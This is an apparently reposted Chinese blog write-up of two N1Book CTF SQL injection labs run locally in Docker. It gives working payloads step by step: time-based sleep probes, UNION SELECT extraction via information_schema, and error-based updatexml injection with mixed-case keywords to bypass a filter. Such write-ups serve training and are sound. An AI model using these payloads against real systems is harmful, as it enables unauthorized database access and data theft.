Young87

当前位置:首页 >个人收藏

从0到1CTFer成长之路-第一章-CTF中的SQL注入


CTF中的SQL注入

声明

好好向大佬们学习!!!

攻击

https://book.nu1l.com/tasks/#/pages/web/1.2

SQL注入-1

kali执行

vim docker-compose.yml

内容如下

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
    ports:
      - 80:80

开启docker

docker-compose up -d

访问80

http://192.168.137.144/

自动跳转到

http://192.168.137.144/index.php?id=1

显然就是id了,直接开始搞

输入sleep,页面反应3s了

http://192.168.137.144/index.php?id=1' and sleep(3)  --+

在这里插入图片描述

order by后面依次跟1,2,3,4…当到4时页面查询失败,说明有3列

http://192.168.137.144/index.php?id=1' order by 3  --+
http://192.168.137.144/index.php?id=1' order by 4  --+

在这里插入图片描述

在这里插入图片描述

这里id=1要变成-1了,因为1的时候,只把查到的第一条显示出来,然后就可以操控select后面的2和3了

http://192.168.137.144/index.php?id=-1' union select 1, 2, 3 --+

在这里插入图片描述

已经知道有3列了,就查数据库,而且还是root用户哦

http://192.168.137.144/index.php?id=-1' union select 1, database(), user()--+

在这里插入图片描述

使用下面的语句可以查到表名,但是只能查第一个表名

http://192.168.137.144/index.php?id=-1' union select 1, table_name, 3 from information_schema.tables where table_schema = 'note' --+

想要把所有的表名都查出来,就得用group_concat,就是把所有的都连接起来,比如group_concat(table_name),就把所有的表明连起来,查到了两张表,flag和notes

http://192.168.137.144/index.php?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'note' --+

在这里插入图片描述

查列名,查出列fllllag

http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name = 'fl4g' --+

在这里插入图片描述

查值,表名就不用那么写了

http://192.168.137.144/index.php?id=-1' union select 1, 2, group_concat(fllllag) from fl4g --+

拿到flag

n1book{union_select_is_so_cool}

在这里插入图片描述

SQL注入-2

kali执行

vim docker-compose.yml

内容如下

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
    ports:
      - 80:80

开启docker

docker-compose up -d

访问80

http://192.168.137.144/

题目上让访问login.php和user.php,访问user.php说是login first,那先试试login.php吧

http://192.168.137.144/user.php
http://192.168.137.144/login.php

在这里插入图片描述

修改用户名为admin’ or sleep(3) #,使用bp抓包发现时间延迟

在这里插入图片描述

试了半天,也没登录进去,对了这个题是让拿到flag,不是让黑进去拿web权限的,但是也没啥思路,我屈服了,加上tips请求帮助了

随便试了一下, select被过滤了,那么很有可能就是需要双写或大小写select进行绕过(别问我怎么知道,书上原话吗这不是)

在这里插入图片描述

访问,查出两张表fl4g、users

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(table_name) from information_schema.tables where table_schema = database())), 3) %23&pass=123

在这里插入图片描述

查列flag

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt group_concat(column_name) from information_schema.columns where table_name='fl4g')), 3) %23&pass=123

在这里插入图片描述

查值,到了这一步就可以直接from 表名了

http://192.168.137.144/login.php?tips=1

name=admin' and updatexml(1, concat(0x7e, (SeLeCt flag from fl4g)), 3) %23&pass=123

拿到flag

n1book{login_sqli_is_nice}

在这里插入图片描述

前置环境

kali+docker

摘自

https://cloud.tencent.com/developer

除特别声明,本站所有文章均为原创,如需转载请以超级链接形式注明出处:SmartCat's Blog

上一篇: 简直神操作!GitHub开源的这个C++笔记,霸屏第一。网友:太有用了,必须收藏!...

下一篇: IDEA 快捷键大全

精华推荐